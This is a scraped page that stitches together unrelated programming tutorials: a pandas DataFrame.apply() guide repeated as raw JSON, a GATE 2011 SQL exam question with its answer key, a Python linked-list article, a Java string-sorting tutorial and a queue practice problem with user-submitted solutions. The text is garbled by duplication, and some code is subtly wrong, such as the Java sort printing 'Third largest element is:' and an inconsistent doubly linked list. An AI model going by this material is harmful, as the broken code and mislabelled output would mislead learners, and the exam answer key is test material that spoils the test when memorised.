2], axis = 1, result_type ='broadcast') Output: Passing result_type=’broadcast’ will ensure the same shape result, whether list-like or scalar is returned by the function, and broadcast it along the axis. The resulting column names will be the originals. Python pandas-dataFrame Python pandas-dataFrame-methods Python-pandas Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Read a file line by line in Python Enumerate() in Python How to Install PIP on Windows ? Iterate over a list in Python Different ways to create Pandas Dataframe Create a Pandas DataFrame from Lists Python program to convert a list to string Reading and Writing to text files in Python *args and **kwargs in Python
[ { "code": null, "e": 25114, "s": 25086, "text": "\n05 Sep, 2020" }, { "code": null, "e": 25422, "s": 25114, "text": "Objects passed to the pandas.apply() are Series objects whose index is either the DataFrame’s index (axis=0) or the DataFrame’s columns (axis=1). By default (result_type=None), the final return type is inferred from the return type of the applied function. Otherwise, it depends on the result_type argument." }, { "code": null, "e": 25535, "s": 25422, "text": "Syntax: DataFrame.apply(func, axis=0, broadcast=None, raw=False, reduce=None, result_type=None, args=(), **kwds)" }, { "code": null, "e": 25609, "s": 25535, "text": "Below are some programs which depicts the use of pandas.DataFrame.apply()" }, { "code": null, "e": 25620, "s": 25609, "text": "Example 1:" }, { "code": "# Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(numpy.sqrt)", "e": 26005, "s": 25620, "text": null }, { "code": null, "e": 26013, "s": 26005, "text": "Output:" }, { "code": null, "e": 26096, "s": 26013, "text": "Using a numpy universal function (in this case the same as numpy.sqrt(dataFrame))." }, { "code": null, "e": 26107, "s": 26096, "text": "Example 2:" }, { "code": "# Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(numpy.sum, axis = 0)", "e": 26501, "s": 26107, "text": null }, { "code": null, "e": 26509, "s": 26501, "text": "Output:" }, { "code": null, "e": 26547, "s": 26509, "text": "Using a reducing function on columns." }, { "code": null, "e": 26558, "s": 26547, "text": "Example 3:" }, { "code": "# Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(numpy.sum, axis = 1)", "e": 26952, "s": 26558, "text": null }, { "code": null, "e": 26960, "s": 26952, "text": "Output:" }, { "code": null, "e": 26995, "s": 26960, "text": "Using a reducing function on rows." }, { "code": null, "e": 27006, "s": 26995, "text": "Example 4:" }, { "code": "# Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(lambda x: [1, 2], axis = 1)", "e": 27407, "s": 27006, "text": null }, { "code": null, "e": 27415, "s": 27407, "text": "Output:" }, { "code": null, "e": 27462, "s": 27415, "text": "Returning a list-like will result in a Series." }, { "code": null, "e": 27473, "s": 27462, "text": "Example 5:" }, { "code": "# Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(lambda x: [1, 2], axis = 1, result_type ='expand')", "e": 27897, "s": 27473, "text": null }, { "code": null, "e": 27905, "s": 27897, "text": "Output:" }, { "code": null, "e": 27991, "s": 27905, "text": "Passing result_type=’expand’ will expand list-like results to columns of a Dataframe." }, { "code": null, "e": 28002, "s": 27991, "text": "Example 6:" }, { "code": "# Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(lambda x: pandas.Series( [1, 2], index =['foo', 'bar']), axis = 1)", "e": 28445, "s": 28002, "text": null }, { "code": null, "e": 28453, "s": 28445, "text": "Output:" }, { "code": null, "e": 28589, "s": 28453, "text": "Returning a Series inside the function is similar to passing result_type=’expand’. The resulting column names will be the Series index." }, { "code": null, "e": 28600, "s": 28589, "text": "Example 7:" }, { "code": "# Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(lambda x: [1, 2], axis = 1, result_type ='broadcast')", "e": 29027, "s": 28600, "text": null }, { "code": null, "e": 29035, "s": 29027, "text": "Output:" }, { "code": null, "e": 29242, "s": 29035, "text": "Passing result_type=’broadcast’ will ensure the same shape result, whether list-like or scalar is returned by the function, and broadcast it along the axis. The resulting column names will be the originals." }, { "code": null, "e": 29266, "s": 29242, "text": "Python pandas-dataFrame" }, { "code": null, "e": 29298, "s": 29266, "text": "Python pandas-dataFrame-methods" }, { "code": null, "e": 29312, "s": 29298, "text": "Python-pandas" }, { "code": null, "e": 29319, "s": 29312, "text": "Python" }, { "code": null, "e": 29417, "s": 29319, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29435, "s": 29417, "text": "Python Dictionary" }, { "code": null, "e": 29470, "s": 29435, "text": "Read a file line by line in Python" }, { "code": null, "e": 29492, "s": 29470, "text": "Enumerate() in Python" }, { "code": null, "e": 29524, "s": 29492, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 29554, "s": 29524, "text": "Iterate over a list in Python" }, { "code": null, "e": 29596, "s": 29554, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 29633, "s": 29596, "text": "Create a Pandas DataFrame from Lists" }, { "code": null, "e": 29676, "s": 29633, "text": "Python program to convert a list to string" }, { "code": null, "e": 29720, "s": 29676, "text": "Reading and Writing to text files in Python" } ]
GATE | GATE CS 2011 | Question 32 - GeeksforGeeks
28 Jun, 2021 Consider a database table T containing two columns X and Y each of type integer. After the creation of the table, one record (X=1, Y=1) is inserted in the table. Let MX and My denote the respective maximum values of X and Y among all records in the table at any point in time. Using MX and MY, new records are inserted in the table 128 times with X and Y values being MX+1, 2*MY+1 respectively. It may be noted that each time after the insertion, values of MX and MY change. What will be the output of the following SQL query after the steps mentioned above are carried out? SELECT Y FROM T WHERE X=7; (A) 127(B) 255(C) 129(D) 257Answer: (A)Explanation: See Question 4 of https://www.geeksforgeeks.org/database-management-systems-set-4/ And question 30 of http://clweb.csa.iisc.ernet.in/rahulsharma/gate2011key.htmlQuiz of this Question GATE-CS-2011 GATE-GATE CS 2011 GATE Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments GATE | GATE-IT-2004 | Question 71 GATE | GATE CS 2011 | Question 7 GATE | GATE-CS-2015 (Set 3) | Question 65 GATE | GATE-CS-2014-(Set-3) | Question 38 GATE | GATE CS 2018 | Question 37 GATE | GATE-CS-2016 (Set 1) | Question 65 GATE | GATE-IT-2004 | Question 83 GATE | GATE-CS-2016 (Set 1) | Question 63 GATE | GATE-CS-2014-(Set-2) | Question 65 GATE | GATE-CS-2007 | Question 64
[ { "code": null, "e": 24490, "s": 24462, "text": "\n28 Jun, 2021" }, { "code": null, "e": 24652, "s": 24490, "text": "Consider a database table T containing two columns X and Y each of type integer. After the creation of the table, one record (X=1, Y=1) is inserted in the table." }, { "code": null, "e": 25065, "s": 24652, "text": "Let MX and My denote the respective maximum values of X and Y among all records in the table at any point in time. Using MX and MY, new records are inserted in the table 128 times with X and Y values being MX+1, 2*MY+1 respectively. It may be noted that each time after the insertion, values of MX and MY change. What will be the output of the following SQL query after the steps mentioned above are carried out?" }, { "code": null, "e": 25093, "s": 25065, "text": "SELECT Y FROM T WHERE X=7;\n" }, { "code": null, "e": 25228, "s": 25093, "text": "(A) 127(B) 255(C) 129(D) 257Answer: (A)Explanation: See Question 4 of https://www.geeksforgeeks.org/database-management-systems-set-4/" }, { "code": null, "e": 25328, "s": 25228, "text": "And question 30 of http://clweb.csa.iisc.ernet.in/rahulsharma/gate2011key.htmlQuiz of this Question" }, { "code": null, "e": 25341, "s": 25328, "text": "GATE-CS-2011" }, { "code": null, "e": 25359, "s": 25341, "text": "GATE-GATE CS 2011" }, { "code": null, "e": 25364, "s": 25359, "text": "GATE" }, { "code": null, "e": 25462, "s": 25364, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 25471, "s": 25462, "text": "Comments" }, { "code": null, "e": 25484, "s": 25471, "text": "Old Comments" }, { "code": null, "e": 25518, "s": 25484, "text": "GATE | GATE-IT-2004 | Question 71" }, { "code": null, "e": 25551, "s": 25518, "text": "GATE | GATE CS 2011 | Question 7" }, { "code": null, "e": 25593, "s": 25551, "text": "GATE | GATE-CS-2015 (Set 3) | Question 65" }, { "code": null, "e": 25635, "s": 25593, "text": "GATE | GATE-CS-2014-(Set-3) | Question 38" }, { "code": null, "e": 25669, "s": 25635, "text": "GATE | GATE CS 2018 | Question 37" }, { "code": null, "e": 25711, "s": 25669, "text": "GATE | GATE-CS-2016 (Set 1) | Question 65" }, { "code": null, "e": 25745, "s": 25711, "text": "GATE | GATE-IT-2004 | Question 83" }, { "code": null, "e": 25787, "s": 25745, "text": "GATE | GATE-CS-2016 (Set 1) | Question 63" }, { "code": null, "e": 25829, "s": 25787, "text": "GATE | GATE-CS-2014-(Set-2) | Question 65" } ]
How to Implement a Linked List in Python | Towards Data Science
Linked Lists are among the most fundamental data structure that represents a sequence of nodes. The first element of the sequence is called the head of the Linked List while the last element corresponds to the tail. Every node in the sequence has a pointer to the next element and optionally a pointer to the previous element. In Singly Linked Lists each node points to only the next node. On the other hand, in Doubly Linked Lists each node points to the next as well as to the previous node. Linked Lists are extremely useful in various scenarios. They are typically preferred over standard arrays when you need a constant time when adding or removing elements from the sequence manage memory more efficiently especially when the number of elements is unknown (if arrays you may have to constantly shrink or grow them. Note though that filled arrays usually take up less memory than Linked Lists. you want to insert items in the middle point more efficiently Unlike other general purpose languages, Python does not have a built-in implementation of Linked Lists in its standard library. In today’s article we will explore how to implement a user-defined Linked List class using Python. First, let’s create a user-defined class for individual nodes in a Linked List. This class will be suitable for both Singly or Doubly Linked Lists. Therefore, the instances of this class should be capable for storing the value of the node, the next as well as the previous node. class Node: def __init__(self, value, next_node=None, prev_node=None): self.value = value self.next = next_node self.prev = prev_node def __str__(self): return str(self.value) Note that when an instance of a Node has next set to None then it means that it is essentially the tail of the Linked List (either Singly or Doubly). Similarly, in Doubly Linked Lists, when a node has prev set to None then this indicates that the node is the head of the Linked List. Now that we have created a class for the Nodes, we can now create the class for the Linked List itself. As mentioned already, a Linked List has a head, a tail and the nodes pointing to each other. class LinkedList: def __init__(self, values=None): self.head = None self.tail = None if values is not None: self.add_multiple_nodes(values) Now in order to add the values provided in the constructor as nodes in the Linked List we need to define a couple of additional methods. The first method called add_node is used to add a single node to the Linked List. def add_node(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.tail.next = Node(value) self.tail = self.tail.next return self.tail Now let’s go through the logic of the method quickly. If the Linked List has no head, then it means it’s empty and therefore the node to be added will be both the head and the tail of the Linked List. If the head is not empty, then we add the newly created Node as the next element of the current tail and finally move the tail to point to the newly created Node. The second method is called add_multiple_nodes which is called in the constructor and in simply calls the add_node method we defined earlier in order to add multiple values as nodes in the Linked List instance. def add_multiple_nodes(self, values): for value in values: self.add_node(value) So far, our Linked List class looks like below: class LinkedList: def __init__(self, values=None): self.head = None self.tail = None if values is not None: self.add_multiple_nodes(values) def add_node(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.tail.next = Node(value) self.tail = self.tail.next return self.tail def add_multiple_nodes(self, values): for value in values: self.add_node(value) Now let’s create an additional method that’d be able to insert a new element but this time in the beginning of the Linked List, i.e. as a head. def add_node_as_head(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.head = Node(value, self.head) return self.head Now let’s override some special methods in our class that could potentially be useful. Firstly, let’s implement __str__ method so that the string representation of a Linked List object is human readable. For example, when printing out a Linked List with nodes a, b, c, d the output will bea -> b -> c -> d. def __str__(self): return ' -> '.join([str(node) for node in self]) Secondly, let’s also implement __len__ method that will return the length of our user-defined class, which is essentially the number of nodes included in the sequence. All we need to do is iterate over every node of the sequence until we reach the tail of the Linked List. def __len__(self): count = 0 node = self.head while node: count += 1 node = node.next return count Finally, let’s ensure that LinkedList class is iterable by implementing __iter__ method. def __iter__(self): current = self.head while current: yield current current = current.next Additionally, we could also create a property called values so that we can access the values of all nodes included in the sequence. @propertydef values(self): return [node.value for node in self] The final class looks like below: class LinkedList: def __init__(self, values=None): self.head = None self.tail = None if values is not None: self.add_multiple_nodes(values) def __str__(self): return ' -> '.join([str(node) for node in self]) def __len__(self): count = 0 node = self.head while node: count += 1 node = node.next return count def __iter__(self): current = self.head while current: yield current current = current.next @property def values(self): return [node.value for node in self] def add_node(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.tail.next = Node(value) self.tail = self.tail.next return self.tail def add_multiple_nodes(self, values): for value in values: self.add_node(value) def add_node_as_head(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.head = Node(value, self.head) return self.head Now even our Node class can represent nodes included in either of Singly or Doubly Linked Lists, the LinkedList class we defined can only support Singly Linked Lists. This is because when adding nodes, we are not specifying the previous node. To deal with Doubly Linked Lists, we can simply create an additional class that inherits from LinkedList class and overrides the add_node and add_node_as_head methods: class DoublyLinkedList(LinkedList): def add_node(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.tail.next = Node(value, None, self.tail) self.tail = self.tail.next return self def add_node_as_head(self, value): if self.head is None: self.tail = self.head = Node(value) else: current_head = self.head self.head = Node(value, current_head) current_head.prev = self.head return self.head The full code containing the three classes we created as part of today’s tutorial is given below as a GitHub Gist. In today’s guide we discussed about one of the most fundamental data structures, namely Linked Lists. Given that Python’s standard library does not contain any implementation of this specific data structure, we explored how one can implement a user-defined Linked List class from scratch. Become a member and read every story on Medium. Your membership fee directly supports me and other writers you read. You’ll also get full access to every story on Medium. gmyrianthous.medium.com You may also like
[ { "code": null, "e": 388, "s": 172, "text": "Linked Lists are among the most fundamental data structure that represents a sequence of nodes. The first element of the sequence is called the head of the Linked List while the last element corresponds to the tail." }, { "code": null, "e": 562, "s": 388, "text": "Every node in the sequence has a pointer to the next element and optionally a pointer to the previous element. In Singly Linked Lists each node points to only the next node." }, { "code": null, "e": 666, "s": 562, "text": "On the other hand, in Doubly Linked Lists each node points to the next as well as to the previous node." }, { "code": null, "e": 777, "s": 666, "text": "Linked Lists are extremely useful in various scenarios. They are typically preferred over standard arrays when" }, { "code": null, "e": 853, "s": 777, "text": "you need a constant time when adding or removing elements from the sequence" }, { "code": null, "e": 1071, "s": 853, "text": "manage memory more efficiently especially when the number of elements is unknown (if arrays you may have to constantly shrink or grow them. Note though that filled arrays usually take up less memory than Linked Lists." }, { "code": null, "e": 1133, "s": 1071, "text": "you want to insert items in the middle point more efficiently" }, { "code": null, "e": 1360, "s": 1133, "text": "Unlike other general purpose languages, Python does not have a built-in implementation of Linked Lists in its standard library. In today’s article we will explore how to implement a user-defined Linked List class using Python." }, { "code": null, "e": 1639, "s": 1360, "text": "First, let’s create a user-defined class for individual nodes in a Linked List. This class will be suitable for both Singly or Doubly Linked Lists. Therefore, the instances of this class should be capable for storing the value of the node, the next as well as the previous node." }, { "code": null, "e": 1849, "s": 1639, "text": "class Node: def __init__(self, value, next_node=None, prev_node=None): self.value = value self.next = next_node self.prev = prev_node def __str__(self): return str(self.value)" }, { "code": null, "e": 2133, "s": 1849, "text": "Note that when an instance of a Node has next set to None then it means that it is essentially the tail of the Linked List (either Singly or Doubly). Similarly, in Doubly Linked Lists, when a node has prev set to None then this indicates that the node is the head of the Linked List." }, { "code": null, "e": 2330, "s": 2133, "text": "Now that we have created a class for the Nodes, we can now create the class for the Linked List itself. As mentioned already, a Linked List has a head, a tail and the nodes pointing to each other." }, { "code": null, "e": 2505, "s": 2330, "text": "class LinkedList: def __init__(self, values=None): self.head = None self.tail = None if values is not None: self.add_multiple_nodes(values)" }, { "code": null, "e": 2642, "s": 2505, "text": "Now in order to add the values provided in the constructor as nodes in the Linked List we need to define a couple of additional methods." }, { "code": null, "e": 2724, "s": 2642, "text": "The first method called add_node is used to add a single node to the Linked List." }, { "code": null, "e": 2918, "s": 2724, "text": "def add_node(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.tail.next = Node(value) self.tail = self.tail.next return self.tail" }, { "code": null, "e": 3282, "s": 2918, "text": "Now let’s go through the logic of the method quickly. If the Linked List has no head, then it means it’s empty and therefore the node to be added will be both the head and the tail of the Linked List. If the head is not empty, then we add the newly created Node as the next element of the current tail and finally move the tail to point to the newly created Node." }, { "code": null, "e": 3493, "s": 3282, "text": "The second method is called add_multiple_nodes which is called in the constructor and in simply calls the add_node method we defined earlier in order to add multiple values as nodes in the Linked List instance." }, { "code": null, "e": 3583, "s": 3493, "text": "def add_multiple_nodes(self, values): for value in values: self.add_node(value)" }, { "code": null, "e": 3631, "s": 3583, "text": "So far, our Linked List class looks like below:" }, { "code": null, "e": 4128, "s": 3631, "text": "class LinkedList: def __init__(self, values=None): self.head = None self.tail = None if values is not None: self.add_multiple_nodes(values) def add_node(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.tail.next = Node(value) self.tail = self.tail.next return self.tail def add_multiple_nodes(self, values): for value in values: self.add_node(value)" }, { "code": null, "e": 4272, "s": 4128, "text": "Now let’s create an additional method that’d be able to insert a new element but this time in the beginning of the Linked List, i.e. as a head." }, { "code": null, "e": 4446, "s": 4272, "text": "def add_node_as_head(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.head = Node(value, self.head) return self.head" }, { "code": null, "e": 4753, "s": 4446, "text": "Now let’s override some special methods in our class that could potentially be useful. Firstly, let’s implement __str__ method so that the string representation of a Linked List object is human readable. For example, when printing out a Linked List with nodes a, b, c, d the output will bea -> b -> c -> d." }, { "code": null, "e": 4824, "s": 4753, "text": "def __str__(self): return ' -> '.join([str(node) for node in self])" }, { "code": null, "e": 5097, "s": 4824, "text": "Secondly, let’s also implement __len__ method that will return the length of our user-defined class, which is essentially the number of nodes included in the sequence. All we need to do is iterate over every node of the sequence until we reach the tail of the Linked List." }, { "code": null, "e": 5222, "s": 5097, "text": "def __len__(self): count = 0 node = self.head while node: count += 1 node = node.next return count" }, { "code": null, "e": 5311, "s": 5222, "text": "Finally, let’s ensure that LinkedList class is iterable by implementing __iter__ method." }, { "code": null, "e": 5423, "s": 5311, "text": "def __iter__(self): current = self.head while current: yield current current = current.next" }, { "code": null, "e": 5555, "s": 5423, "text": "Additionally, we could also create a property called values so that we can access the values of all nodes included in the sequence." }, { "code": null, "e": 5622, "s": 5555, "text": "@propertydef values(self): return [node.value for node in self]" }, { "code": null, "e": 5656, "s": 5622, "text": "The final class looks like below:" }, { "code": null, "e": 6789, "s": 5656, "text": "class LinkedList: def __init__(self, values=None): self.head = None self.tail = None if values is not None: self.add_multiple_nodes(values) def __str__(self): return ' -> '.join([str(node) for node in self]) def __len__(self): count = 0 node = self.head while node: count += 1 node = node.next return count def __iter__(self): current = self.head while current: yield current current = current.next @property def values(self): return [node.value for node in self] def add_node(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.tail.next = Node(value) self.tail = self.tail.next return self.tail def add_multiple_nodes(self, values): for value in values: self.add_node(value) def add_node_as_head(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.head = Node(value, self.head) return self.head" }, { "code": null, "e": 7032, "s": 6789, "text": "Now even our Node class can represent nodes included in either of Singly or Doubly Linked Lists, the LinkedList class we defined can only support Singly Linked Lists. This is because when adding nodes, we are not specifying the previous node." }, { "code": null, "e": 7200, "s": 7032, "text": "To deal with Doubly Linked Lists, we can simply create an additional class that inherits from LinkedList class and overrides the add_node and add_node_as_head methods:" }, { "code": null, "e": 7746, "s": 7200, "text": "class DoublyLinkedList(LinkedList): def add_node(self, value): if self.head is None: self.tail = self.head = Node(value) else: self.tail.next = Node(value, None, self.tail) self.tail = self.tail.next return self def add_node_as_head(self, value): if self.head is None: self.tail = self.head = Node(value) else: current_head = self.head self.head = Node(value, current_head) current_head.prev = self.head return self.head" }, { "code": null, "e": 7861, "s": 7746, "text": "The full code containing the three classes we created as part of today’s tutorial is given below as a GitHub Gist." }, { "code": null, "e": 8150, "s": 7861, "text": "In today’s guide we discussed about one of the most fundamental data structures, namely Linked Lists. Given that Python’s standard library does not contain any implementation of this specific data structure, we explored how one can implement a user-defined Linked List class from scratch." }, { "code": null, "e": 8321, "s": 8150, "text": "Become a member and read every story on Medium. Your membership fee directly supports me and other writers you read. You’ll also get full access to every story on Medium." }, { "code": null, "e": 8345, "s": 8321, "text": "gmyrianthous.medium.com" } ]
How to Sort a String in Java alphabetically in Java?
The toCharArray() method of this class converts the String to a character array and returns it. To sort a string value alphabetically − Get the required string. Get the required string. Convert the given string to a character array using the toCharArray() method. Convert the given string to a character array using the toCharArray() method. Sort the obtained array using the sort() method of the Arrays class. Sort the obtained array using the sort() method of the Arrays class. Convert the sorted array to String by passing it to the constructor of the String array. Convert the sorted array to String by passing it to the constructor of the String array. Live Demo import java.util.Arrays; import java.util.Scanner; public class SortingString { public static void main(String args[]) { Scanner sc = new Scanner(System.in); System.out.println("Enter a string value: "); String str = sc.nextLine(); char charArray[] = str.toCharArray(); Arrays.sort(charArray); System.out.println(new String(charArray)); } } Enter a string value: Tutorialspoint Taiilnooprsttu To sort the array manually − Get the required string. Get the required string. Convert the given string to a character array using the toCharArray() method. Convert the given string to a character array using the toCharArray() method. Compare the first two elements of the array. Compare the first two elements of the array. If the first element is greater than the second swap them. If the first element is greater than the second swap them. Then, compare 2nd and 3rd elements if the second element is greater than the 3rd swap them. Then, compare 2nd and 3rd elements if the second element is greater than the 3rd swap them. Repeat this till the end of the array. Repeat this till the end of the array. Live Demo import java.util.Arrays; import java.util.Scanner; public class SortingString { public static void main(String args[]) { int temp, size; Scanner sc = new Scanner(System.in); System.out.println("Enter a string value: "); String str = sc.nextLine(); char charArray[] = str.toCharArray(); size = charArray.length; for(int i = 0; i < size; i++ ) { for(int j = i+1; j < size; j++) { if(charArray[i]>charArray[j]) { temp = charArray[i]; charArray[i] = charArray[j]; charArray[j] = (char) temp; } } } System.out.println("Third largest element is: "+Arrays.toString(charArray)); } } Enter a string value: Tutorialspoint Third largest element is: [T, a, i, i, l, n, o, o, p, r, s, t, t, u]
[ { "code": null, "e": 1198, "s": 1062, "text": "The toCharArray() method of this class converts the String to a character array and returns it. To sort a string value alphabetically −" }, { "code": null, "e": 1223, "s": 1198, "text": "Get the required string." }, { "code": null, "e": 1248, "s": 1223, "text": "Get the required string." }, { "code": null, "e": 1326, "s": 1248, "text": "Convert the given string to a character array using the toCharArray() method." }, { "code": null, "e": 1404, "s": 1326, "text": "Convert the given string to a character array using the toCharArray() method." }, { "code": null, "e": 1473, "s": 1404, "text": "Sort the obtained array using the sort() method of the Arrays class." }, { "code": null, "e": 1542, "s": 1473, "text": "Sort the obtained array using the sort() method of the Arrays class." }, { "code": null, "e": 1631, "s": 1542, "text": "Convert the sorted array to String by passing it to the constructor of the String array." }, { "code": null, "e": 1720, "s": 1631, "text": "Convert the sorted array to String by passing it to the constructor of the String array." }, { "code": null, "e": 1731, "s": 1720, "text": " Live Demo" }, { "code": null, "e": 2114, "s": 1731, "text": "import java.util.Arrays;\nimport java.util.Scanner;\npublic class SortingString {\n public static void main(String args[]) {\n Scanner sc = new Scanner(System.in);\n System.out.println(\"Enter a string value: \");\n String str = sc.nextLine();\n char charArray[] = str.toCharArray();\n Arrays.sort(charArray);\n System.out.println(new String(charArray));\n }\n}" }, { "code": null, "e": 2166, "s": 2114, "text": "Enter a string value:\nTutorialspoint\nTaiilnooprsttu" }, { "code": null, "e": 2195, "s": 2166, "text": "To sort the array manually −" }, { "code": null, "e": 2220, "s": 2195, "text": "Get the required string." }, { "code": null, "e": 2245, "s": 2220, "text": "Get the required string." }, { "code": null, "e": 2323, "s": 2245, "text": "Convert the given string to a character array using the toCharArray() method." }, { "code": null, "e": 2401, "s": 2323, "text": "Convert the given string to a character array using the toCharArray() method." }, { "code": null, "e": 2446, "s": 2401, "text": "Compare the first two elements of the array." }, { "code": null, "e": 2491, "s": 2446, "text": "Compare the first two elements of the array." }, { "code": null, "e": 2550, "s": 2491, "text": "If the first element is greater than the second swap them." }, { "code": null, "e": 2609, "s": 2550, "text": "If the first element is greater than the second swap them." }, { "code": null, "e": 2701, "s": 2609, "text": "Then, compare 2nd and 3rd elements if the second element is greater than the 3rd swap them." }, { "code": null, "e": 2793, "s": 2701, "text": "Then, compare 2nd and 3rd elements if the second element is greater than the 3rd swap them." }, { "code": null, "e": 2832, "s": 2793, "text": "Repeat this till the end of the array." }, { "code": null, "e": 2871, "s": 2832, "text": "Repeat this till the end of the array." }, { "code": null, "e": 2882, "s": 2871, "text": " Live Demo" }, { "code": null, "e": 3604, "s": 2882, "text": "import java.util.Arrays;\nimport java.util.Scanner;\npublic class SortingString {\n public static void main(String args[]) {\n int temp, size;\n Scanner sc = new Scanner(System.in);\n System.out.println(\"Enter a string value: \");\n String str = sc.nextLine();\n char charArray[] = str.toCharArray();\n size = charArray.length;\n for(int i = 0; i < size; i++ ) {\n for(int j = i+1; j < size; j++) {\n if(charArray[i]>charArray[j]) {\n temp = charArray[i];\n charArray[i] = charArray[j];\n charArray[j] = (char) temp;\n }\n }\n }\n System.out.println(\"Third largest element is: \"+Arrays.toString(charArray));\n }\n}" }, { "code": null, "e": 3710, "s": 3604, "text": "Enter a string value:\nTutorialspoint\nThird largest element is: [T, a, i, i, l, n, o, o, p, r, s, t, t, u]" } ]
Queue Operations | Practice | GeeksforGeeks
Here, we will learn operations on queues. Given N integers, the task is to insert those elements in the queue. Also, given M integers, task is to find the frequency of each number in the Queue. Example: Input: 8 1 2 3 4 5 2 3 1 5 1 3 2 9 10 Output: 2 2 2 -1 -1 Explanation: After inserting 1, 2, 3, 4, 5, 2, 3, 1 into the queue, frequency of 1 is 2, 3 is 2, 2 is 2, 9 is -1 and 10 is -1 (since, 9 and 10 is not there in the queue). Your Task: Your task is to complete the functions insert() and findFrequency() which inserts the element into the queue and find the count of occurences of element in the queue respectively. Constraints: 1 <= N <= 103 1 <= M <= 103 1 <= Elements of Queue <= 106 0 harshscode2 weeks ago void insert(queue<int> &q, int k){ q.push(k); m[k]++; } // Function to find frequency of an element // return the frequency of k int findFrequency(queue<int> &q, int k){ return (m[k]==0)?(-1):(m[k]); } +1 goyalayushi4522 months ago class Solution{ public: map<int,int>m; void insert(queue<int> &q, int k){ q.push(k); m[k]++; } int findFrequency(queue<int> &q, int k){ return (m[k] == 0)? -1 : m[k]; } }; 0 kalikisiva0072 months ago class Solution{ public: // Function to insert element into the queue void insert(queue<int> &q, int k){ // Your code here q.push(k); } // Function to find frequency of an element // return the frequency of k int findFrequency(queue<int> &q, int k){ // Your code here vector<int>v; int p =0; while(q.size()!=0){ if(k== q.front()){ p++; } v.push_back(q.front()); q.pop(); } for(int i =0;i<v.size();i++){ q.push(v[i]); } return p; 0 sdmrf2 months ago def insert(self, q, k): q.append(k) return q def findFrequency(self, q, k): return q.count(k) Python Soln -3 dhirunand3 months ago class Geeks{ static void insert(Queue<Integer> q, int k){ q.offer(k); } static int findFrequency(Queue<Integer> q, int k){ int count = 0; int peek; int size = q.size(); for(int i = 0; i< size; i++){ peek=q.poll(); if(peek==k) count++; q.offer(peek); } return count; } } 0 aroopghosh5533 months ago class Solution{ public: void insert(queue<int> &q, int k){ q.push(k); } unordered_map<int, int> mp; int findFrequency(queue<int> &q, int k){ while(!q.empty()){ mp[q.front()]++; q.pop(); } if(mp.find(k) == mp.end()){ return -1; } return mp[k]; } }; 0 firosk7 This comment was deleted. 0 avinav26113 months ago Easy C++ Solution 0 rahulsingh329293 months ago def insert(q,n): q.append(n) return q def findFrequency(arr,i): if i in arr: return arr.count(i) return -1 +2 goelr5643 months ago class Solution{ public: void insert(queue<int> &q, int k){ q.push(k); } int findFrequency(queue<int> &q, int k){ queue<int> temp=q; //ek temporary queue bna le sare changes pop wagra usme krio bhai taki main m bar bar ek number ki tb frequency dekhe toh vo change na krni pde..... int freq=0; while(!temp.empty()) //matlab last tk dekha ki khi element h toh nhi jo dekhna h { if(k==temp.front()) freq++; temp.pop(); } return freq; } // pura mat chap khud likh samaj samj k We strongly recommend solving this problem on your own before viewing its editorial. Do you still want to view the editorial? Login to access your submissions. Problem Contest Reset the IDE using the second button on the top right corner. Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values. Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints. You can access the hints to get an idea about what is expected of you as well as the final solution code. You can view the solutions submitted by other users from the submission tab.
